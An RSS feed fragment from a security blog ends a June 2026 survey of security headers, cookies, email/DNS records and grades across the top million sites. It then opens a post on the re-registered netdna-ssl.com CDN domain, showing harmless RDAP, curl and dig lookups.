deleted, not deployed.</p><p>Permissions-Policy, by contrast, is being used sensibly: the most-restricted features are the genuinely sensitive ones &#x2014; geolocation (80.6%), microphone (79.5%) and camera (79.3%) &#x2014; with payment, the motion sensors and USB close behind. (A lingering 5.8% still disable <code>interest-cohort</code>, the <a href="https://scotthelme.co.uk/what-the-floc/?ref=scotthelme.ghost.io" rel="noreferrer">FLoC opt-out</a> for a feature that no longer exists.)</p><p></p><table>
    <thead>
    <tr>
    <th>Feature</th>
    <th>Sites</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>geolocation</td>
    <td>81,534</td>
    <td>80.6%</td>
    </tr>
    <tr>
    <td>microphone</td>
    <td>80,418</td>
    <td>79.5%</td>
    </tr>
    <tr>
    <td>camera</td>
    <td>80,148</td>
    <td>79.3%</td>
    </tr>
    <tr>
    <td>payment</td>
    <td>66,674</td>
    <td>65.9%</td>
    </tr>
    <tr>
    <td>gyroscope</td>
    <td>63,834</td>
    <td>63.1%</td>
    </tr>
    <tr>
    <td>magnetometer</td>
    <td>63,630</td>
    <td>62.9%</td>
    </tr>
    <tr>
    <td>usb</td>
    <td>62,608</td>
    <td>61.9%</td>
    </tr>
    <tr>
    <td>accelerometer</td>
    <td>61,517</td>
    <td>60.8%</td>
    </tr>
    <tr>
    <td>clipboard-write</td>
    <td>51,795</td>
    <td>51.2%</td>
    </tr>
    <tr>
    <td>fullscreen</td>
    <td>12,308</td>
    <td>12.2%</td>
    </tr>
    <tr>
    <td>autoplay</td>
    <td>7,324</td>
    <td>7.2%</td>
    </tr>
    <tr>
    <td>interest-cohort (FLoC, dead)</td>
    <td>5,872</td>
    <td>5.8%</td>
    </tr>
    </tbody>
    </table>
    <p></p><h3 id="csp-presence-vs-strength-new">CSP: presence vs strength (new)</h3><p>With a 114% increase since just the last crawler report, CSP has continued to see strong growth.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-2.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1109" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-2.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-2.png 2033w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The higher ranked sites to the left are much more likely to deploy a CSP, whilst the lower ranked sites to the right are less likely to deploy a CSP. One of the really key points with CSP is the explosive growth in adoption over the years, made clear when we look at the historic data.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/csp.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1075" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/csp.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/csp.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/csp.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/csp.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Growth is one thing; <em>strength</em> is another, and CSP is where the gap shows most. Looking inside all 170,057 policies:</p><ul><li>46.8% still contain <code>unsafe-inline</code> and 41.9% <code>unsafe-eval</code> &#x2014; directives that substantially undermine a policy&apos;s protection against <a href="https://report-uri.com/solutions/cross_site_scripting?ref=scotthelme.ghost.io" rel="noreferrer">XSS</a>.</li><li>Only 24.7% use a <code>nonce</code>, a mere 1.6% use <code>strict-dynamic</code>, and a vanishing 0.2% (just 318 sites) use <code>require-trusted-types-for</code>, the strongest defence we have against DOM-based XSS.</li><li>On the brighter side, 45.9% set <code>frame-ancestors</code> and 32.7% use <code>upgrade-insecure-requests</code>.</li></ul><p>So while CSP adoption has more than doubled, nearly half of all policies are in need of some TLC. Setting a CSP is the easy part; getting to a strong policy, that requires a little work.</p><p></p><table>
    <thead>
    <tr>
    <th>Directive</th>
    <th>Sites</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td><code>unsafe-inline</code></td>
    <td>79,464</td>
    <td>46.8%</td>
    </tr>
    <tr>
    <td><code>frame-ancestors</code></td>
    <td>77,873</td>
    <td>45.9%</td>
    </tr>
    <tr>
    <td><code>unsafe-eval</code></td>
    <td>71,094</td>
    <td>41.9%</td>
    </tr>
    <tr>
    <td><code>upgrade-insecure-requests</code></td>
    <td>55,452</td>
    <td>32.7%</td>
    </tr>
    <tr>
    <td><code>nonce-&#x2026;</code></td>
    <td>41,936</td>
    <td>24.7%</td>
    </tr>
    <tr>
    <td>has reporting (<code>report-uri</code>/<code>report-to</code>)</td>
    <td>8,134</td>
    <td>4.8%</td>
    </tr>
    <tr>
    <td><code>strict-dynamic</code></td>
    <td>2,774</td>
    <td>1.6%</td>
    </tr>
    <tr>
    <td><code>require-trusted-types-for</code> (Trusted Types)</td>
    <td>318</td>
    <td>0.2%</td>
    </tr>
    </tbody>
    </table>
    <p></p><h3 id="the-cross-origin-isolation-family-new">The cross-origin isolation family (new)</h3><p>For the first time, I&apos;ve updated the crawler to track the <a href="https://scotthelme.co.uk/coop-and-coep/?ref=scotthelme.ghost.io" rel="noreferrer">modern cross-origin isolation headers</a>, and adoption is already meaningful:</p><p></p><ul><li>Cross-Origin-Opener-Policy (COOP): 97,929 (+ 1,553 report-only)</li><li>Cross-Origin-Resource-Policy (CORP): 57,719</li><li>Cross-Origin-Embedder-Policy (COEP): 54,459 (+ 1,550 report-only)</li><li>Origin-Agent-Cluster: 53,415</li></ul><p></p><p>These are the headers that unlock cross-origin isolation and harden you against a whole class of cross-origin and Spectre-style attacks. Seeing them already on tens of thousands of sites is a good sign that the next generation of isolation primitives is taking root.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/cross-origin.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1100" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/cross-origin.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/cross-origin.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/cross-origin.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/cross-origin.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the general trend, we can see that these headers are more popular on the higher ranked sites, but there&apos;s also a very odd trend with COOP in the middle of the ranking! I&apos;ve not looked into this enough to determine why that huge spike exists, but the raw data is available if you&apos;d like to do some investigation.</p><p></p><h3 id="the-reporting-api-explosion">The Reporting API explosion</h3><p>Reporting is the metric that&apos;s exploded the most since the last report. Report-To is now on 289,021 sites and NEL on 285,620 &#x2014; both an order of magnitude higher than the ~12,000 we saw back in 2020, almost entirely because Cloudflare enables Network Error Logging by default for the sites behind it. The modern successor, Reporting-Endpoints, is just getting started at 3,920 sites.</p><p>Just how concentrated is it? Of all those Report-To endpoints, <code>a.nel.cloudflare.com</code> appears on 279,362 of them &#x2014; about 97% &#x2014; so this entire metric is, in effect, one company&apos;s default. The rest is a long tail: Google&apos;s <code>csp.withgoogle.com</code> (1,378), Heroku&apos;s NEL endpoint (1,257), and a scattering of others. <a href="https://report-uri.com/?ref=scotthelme.ghost.io">Report URI</a> is the destination on 865 sites across their CSP and Report-To configurations (210 of them in the <code>Report-To</code> header specifically) &#x2014; which, as the person who runs it, I&apos;m always happy to see. Sadly, we&apos;re under-represented in the numbers based on our typical customer&apos;s deployment model. The crawler is only looking at the homepage of each site and we have large numbers of customers that only deploy our solution on sensitive areas of their site like account sections, payment flows, etc.</p><p></p><h3 id="securitytxt">security.txt</h3><p>A modest year for <a href="https://scotthelme.co.uk/say-hello-to-security-txt/?ref=scotthelme.ghost.io">security.txt</a>: 9,927 sites publish a valid <code>/.well-known/security.txt</code>, up about 10% on 2022. It&apos;s now an RFC and a genuinely useful way to receive vulnerability reports, so I&apos;d love to see this one continue to grow.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/security-txt.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/security-txt.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/security-txt.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/security-txt.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/security-txt.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="what-your-headers-give-away-new">What your headers give away (new)</h3><p>This year I started analysing the information-disclosure headers, and the results are a nice reminder that plenty of sites are still broadcasting their stack to anyone who asks. The most common <code>X-Powered-By</code> values:</p><p></p><ul><li><code>ASP.NET</code> &#x2014; 22,035</li><li><code>Next.js</code> &#x2014; 17,541</li><li><code>PleskLin</code> &#x2014; 15,023</li><li><code>WP Engine</code> &#x2014; 10,445</li><li><strong><code>PHP/7.4.33</code> &#x2014; 9,264</strong></li></ul><p></p><p>That last one is the interesting one: 9,264 sites are advertising an exact, end-of-life PHP version (7.4 stopped receiving security updates back in 2022). That&apos;s a gift to an attacker &#x2014; free reconnaissance, handed over in a response header. There&apos;s no upside to sending <code>X-Powered-By</code>; turn it off.</p><p></p><h3 id="http3-and-http-versions">HTTP/3 and HTTP versions</h3><p>The transport layer keeps modernising. HTTP/2 is now on 570,952 sites (up from 454,560 in 2022), HTTP/1.1 has fallen to 247,392, and HTTP/1.0 is nearly gone at 630. HTTP/3 isn&apos;t negotiated directly by the crawler, but I now measure its advertisement via the <code>Alt-Svc</code> header, and 356,380 sites advertise <code>h3</code> &#x2014; a huge footprint, driven by Cloudflare and the other big CDNs enabling it by default.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/http-versions-1.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1003" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/http-versions-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/http-versions-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/http-versions-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/http-versions-1.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="cookies-new">Cookies (new)</h3><p>For the first time I&apos;ve recorded the security attributes on <code>Set-Cookie</code> headers (flags only &#x2014; no cookie values are ever stored). Of the 314,878 sites that set at least one cookie:</p><p></p><ul><li>Secure: 189,528</li><li>HttpOnly: 223,384</li><li>SameSite: 176,300</li><li><code>__Host-</code> prefix: 802</li><li><code>__Secure-</code> prefix: 1,913</li></ul><p></p><p>So a majority of cookie-setting sites get the basics (<code>HttpOnly</code>, <code>Secure</code>) right, but the genuinely robust cookie-hardening primitives &#x2014; the <code>__Host-</code> and <code>__Secure-</code> prefixes &#x2014; are barely used at all. There&apos;s a lot of headroom here, they&apos;re free, and you can find all of the information in my blog post <a href="https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io" rel="noreferrer">Tough Cookies</a>.</p><p></p><h3 id="email-dns-security-new">Email &amp; DNS security (new)</h3><p>The crawler now performs a whole bunch of DNS lookups alongside the HTTP request too, which surfaces a set of metrics this report has never covered. DMARC: 398,597 sites publish a <a href="https://scotthelme.co.uk/email-security-dmarc/?ref=scotthelme.ghost.io" rel="noreferrer">DMARC record</a>, and the split is interesting:</p><p></p><table>
    <thead>
    <tr>
    <th>Policy</th>
    <th>Count</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>p=none (monitor only)</td>
    <td>204,769</td>
    <td>51.4%</td>
    </tr>
    <tr>
    <td>p=quarantine</td>
    <td>100,134</td>
    <td>25.1%</td>
    </tr>
    <tr>
    <td>p=reject</td>
    <td>93,264</td>
    <td>23.4%</td>
    </tr>
    </tbody>
    </table>
    <p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dmarc.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/dmarc.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/dmarc.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/dmarc.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/dmarc.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Roughly half are still in monitor-only mode and haven&apos;t turned on real protection. Looking further:</p><p></p><ul><li><a href="https://scotthelme.co.uk/email-security-spf/?ref=scotthelme.ghost.io" rel="noreferrer">SPF</a>: 538,011 sites.</li><li>IPv6 (AAAA): 344,430 sites &#x2014; IPv6 is still a minority at ~42%, a decade into &quot;the year of IPv6&quot;.</li><li>DNSSEC: 73,405 sites &#x2014; persistently low, as it always has been.</li></ul><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/spf.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/spf.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/spf.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/spf.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/spf.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ipv6.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ipv6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ipv6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ipv6.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ipv6.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dnssec.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/dnssec.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/dnssec.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/dnssec.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/dnssec.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="fossils-of-the-web">Fossils of the web</h3><p>Every crawl turns up headers that outlived the problem they were supposed to solve.</p><p></p><ul><li>HPKP (Public-Key-Pins): still on 654 sites, even though I <a href="https://scotthelme.co.uk/hpkp-is-no-more/?ref=scotthelme.ghost.io" rel="noreferrer">blogged about it being removed</a> back in 2020.</li><li><a href="https://scotthelme.co.uk/what-the-floc/?ref=scotthelme.ghost.io" rel="noreferrer">FLoC opt-out</a> (<code>interest-cohort=()</code>): 5,872 sites still send the opt-out for an advertising technology Google cancelled in 2022.</li><li>X-XSS-Protection (covered above): 163,114 sites, for a browser feature that no longer exists, and I blogged about <a href="https://scotthelme.co.uk/security-headers-updates/?ref=scotthelme.ghost.io" rel="noreferrer">XXP being removed back in 2019</a>.</li></ul><p></p><p>We seem to be holding on to some of these headers much longer than we should, so consider this a friendly nudge to delete the ones you don&apos;t need.</p><p></p><h3 id="servers-infrastructure">Servers &amp; infrastructure</h3><p>The infrastructure picture is more concentrated than ever. By <code>Server</code> header:</p><p></p><table>
    <thead>
    <tr>
    <th>Server</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>cloudflare</td>
    <td>361,366</td>
    </tr>
    <tr>
    <td>nginx</td>
    <td>105,829</td>
    </tr>
    <tr>
    <td>Apache</td>
    <td>67,461</td>
    </tr>
    <tr>
    <td>LiteSpeed</td>
    <td>22,850</td>
    </tr>
    <tr>
    <td>Microsoft-IIS/10.0</td>
    <td>14,818</td>
    </tr>
    <tr>
    <td>AmazonS3</td>
    <td>9,095</td>
    </tr>
    <tr>
    <td>openresty</td>
    <td>8,028</td>
    </tr>
    <tr>
    <td>nginx/1.24.0 (Ubuntu)</td>
    <td>7,810</td>
    </tr>
    <tr>
    <td>Vercel</td>
    <td>7,685</td>
    </tr>
    <tr>
    <td>CloudFront</td>
    <td>6,369</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>Cloudflare alone now fronts well over a third of the responding sites, which explains a lot of what we&apos;ve seen above: when one provider flips a default &#x2014; HTTP/3, NEL, the cross-origin headers, or (as we&apos;ll see in part two) post-quantum primitives &#x2014; it moves the entire web&apos;s numbers overnight. By TLD, <code>.com</code> dominates as always.</p><p></p><table>
    <thead>
    <tr>
    <th>TLD</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>.com</td>
    <td>360,571</td>
    </tr>
    <tr>
    <td>.net</td>
    <td>34,704</td>
    </tr>
    <tr>
    <td>.org</td>
    <td>34,015</td>
    </tr>
    <tr>
    <td>.uk</td>
    <td>28,940</td>
    </tr>
    <tr>
    <td>.ru</td>
    <td>28,603</td>
    </tr>
    <tr>
    <td>.de</td>
    <td>25,384</td>
    </tr>
    <tr>
    <td>.br</td>
    <td>14,544</td>
    </tr>
    <tr>
    <td>.nl</td>
    <td>12,929</td>
    </tr>
    <tr>
    <td>.jp</td>
    <td>10,812</td>
    </tr>
    <tr>
    <td>.in</td>
    <td>9,503</td>
    </tr>
    </tbody>
    </table>
    <p></p><h3 id="security-grades">Security Grades</h3><p>Finally, the <a href="https://securityheaders.com/?ref=scotthelme.ghost.io">securityheaders.com</a>-style grade across the responding sites is a humbling reality check:</p><p></p><table>
    <thead>
    <tr>
    <th>Grade</th>
    <th>Jun 2022</th>
    <th>Jun 2026</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>A+</td>
    <td>2,860</td>
    <td>10,496</td>
    </tr>
    <tr>
    <td>A</td>
    <td>31,281</td>
    <td>61,350</td>
    </tr>
    <tr>
    <td>B</td>
    <td>33,333</td>
    <td>71,700</td>
    </tr>
    <tr>
    <td>C</td>
    <td>38,462</td>
    <td>40,991</td>
    </tr>
    <tr>
    <td>D</td>
    <td>139,632</td>
    <td>166,412</td>
    </tr>
    <tr>
    <td>E</td>
    <td>9,951</td>
    <td>25,815</td>
    </tr>
    <tr>
    <td>F</td>
    <td>564,740</td>
    <td>440,832</td>
    </tr>
    <tr>
    <td>R (redirect)</td>
    <td>&#x2014;</td>
    <td>1,406</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>More than half the web still scores an <strong>F</strong> on basic security headers &#x2014; though there&apos;s real progress hiding in that number: the F count actually <em>fell</em> by around 124,000 since 2022 while every higher grade grew. Slow, but in the right direction.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/security-headers.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1094" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/security-headers.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/security-headers.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/security-headers.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/security-headers.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="closing-thoughts">Closing thoughts</h3><p>Looking back over ten years of data, the overall trend is clear: the web is in a much better place than it used to be. HTTPS is now the norm, HSTS is far more common, CSP adoption continues to grow, and newer mechanisms like the Reporting API, COOP/COEP and Permissions-Policy are starting to appear at meaningful scale. That progress matters, and it represents a huge amount of work across browsers, hosting providers, CDNs, developers, security teams and standards bodies.</p><p>But adoption alone doesn&#x2019;t tell the whole story. Many sites now have the right headers, policies or controls present, but they are often incomplete, overly permissive, or deployed in a way that limits their real-world value. A CSP with <code>unsafe-inline</code>, an HSTS policy with a tiny <code>max-age</code>, cookies missing key attributes, or a DMARC policy stuck at <code>p=none</code> all show the same thing: getting the feature deployed is only the first step.</p><p>The encouraging part is that the direction of travel is positive. The challenge for the next ten years is not just getting more sites to turn these protections on, but helping them turn them on properly. Better defaults from platforms, clearer guidance from standards, and tooling that makes secure configuration easier will continue to move the web forward. The web has made real progress, but there is still a lot of value left on the table.</p><p></p><h3 id="get-the-data">Get the data</h3><p>As always, everything is open. The full per-metric files, the raw MySQL dump, and the daily crawl data are available via <a href="https://crawler.ninja/?ref=scotthelme.ghost.io">Crawler.Ninja</a>, there for anyone who wants to do a deeper dive than I have here.</p><p>Ten years in, the picture is genuinely mixed: the foundations are in great shape and getting better, the new isolation and reporting primitives are taking root, but the security-header long tail has barely moved and over half the web still scores an F. Plenty left to do.</p><p>And that&apos;s just the headers and hygiene. For the really interesting story this year &#x2014; TLS, certificates, the collapse of the one-year certificate, and post-quantum cryptography arriving on nearly half the web &#x2014; head over to <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-the-state-of-crypto/?ref=scotthelme.ghost.io" rel="noreferrer">part two</a> when it&apos;s published tomorrow. Here&apos;s to the next ten years, and hopefully not another four-year gap before the next report!</p><p></p><blockquote><em>*Crawl date: 13 June 2026. 819,002 responding sites from the Tranco Top 1 Million. Powered by </em><a href="https://crawler.ninja/?ref=scotthelme.ghost.io"><em>Crawler.Ninja</em></a><em> and </em><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><em>Report URI</em></a><em>.</em></blockquote><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover]]></title>
                <description><![CDATA[<p>Every now and then I go digging through <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>&apos;s Threat Intelligence data feeds, looking for domains that show up in CSP reports where they really shouldn&apos;t. Last week one jumped out at me: <code>netdna-ssl.com</code>. If you&apos;ve been around the WordPress world</p>]]></description>
                <link>https://scotthelme.ghost.io/a-dead-cdn-a-wildcard-and-an-attack-waiting-to-happen-the-netdna-ssl-com-takeover/</link>
                <guid isPermaLink="false">6a3287bdc9b18e0001e1bb46</guid>
                <category><![CDATA[Supply Chain Attack]]></category>
                <category><![CDATA[Subresource Integrity]]></category>
                <category><![CDATA[Content Security Policy]]></category>
                <category><![CDATA[Threat Intelligence]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 24 Jun 2026 13:11:54 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/netdna-ssl.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/netdna-ssl.png" alt="A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover"><p>Every now and then I go digging through <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>&apos;s Threat Intelligence data feeds, looking for domains that show up in CSP reports where they really shouldn&apos;t. Last week one jumped out at me: <code>netdna-ssl.com</code>. If you&apos;ve been around the WordPress world for a while, that name might ring a bell &#x2014; and that&apos;s exactly the problem.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-4.png" class="kg-image" alt="A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-4.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="what-netdna-sslcom-used-to-be">What netdna-ssl.com used to be</h3><p><code>netdna-ssl.com</code> was the asset domain behind MaxCDN, the CDN that started life as NetDNA back in 2010. If you were a WP Engine customer on their &quot;Legacy Network&quot;, your static assets &#x2014; JS, CSS, fonts, images, PDFs &#x2014; were served from a host that looked like this:</p><pre><code>&lt;site-hash&gt;.wpengine.netdna-ssl.com
    </code></pre><p></p><p>MaxCDN got swallowed by StackPath in 2016, the brand was retired at the end of 2022, and StackPath&apos;s CDN ceased operations in late 2023. WP Engine had been steering people onto their Advanced Network for years. Job done, right?</p><p>Except the domain itself was allowed to expire. And on 24th July 2025, somebody re-registered it.</p><p></p><h3 id="who-owns-it-now">Who owns it now</h3><p>A quick RDAP lookup tells the story:</p><pre><code>$ curl -s https://rdap.verisign.com/com/v1/domain/netdna-ssl.com
      registration   2025-07-24T18:13:09Z
      expiration     2027-07-24T18:13:09Z
      nameservers    JACK.NS.CLOUDFLARE.COM, MEILING.NS.CLOUDFLARE.COM
      registrar      Gname.com Pte. Ltd.
    </code></pre><p></p><p>It&apos;s now sitting on Cloudflare nameservers, registered through Gname, and the apex serves this:</p><pre><code>$ curl -s https://netdna-ssl.com/ | grep -io &apos;&lt;title&gt;[^&lt;]*&lt;/title&gt;&apos;
    &lt;title&gt;Snapinsta - Download Instagram Videos, Reels, Stories for FREE&lt;/title&gt;
    </code></pre><p></p><p>A &quot;Snapinsta&quot; Instagram-downloader page, wired up to Google AdSense and Tag Manager. So an unrelated third party with an ad-monetisation motive now owns a domain that thousands of sites still pull assets from. You can probably see where this is going.</p><p></p><h3 id="the-wildcard">The wildcard</h3><p>Here&apos;s the part that really caught my eye. The new owner holds wildcard DNS across the entire <code>*.wpengine.netdna-ssl.com</code> namespace. I can prove it by asking for a hostname that I just invented:</p><pre><code>$ dig +short test123random.wpengine.netdna-ssl.com
    104.21.72.58
    172.67.175.240
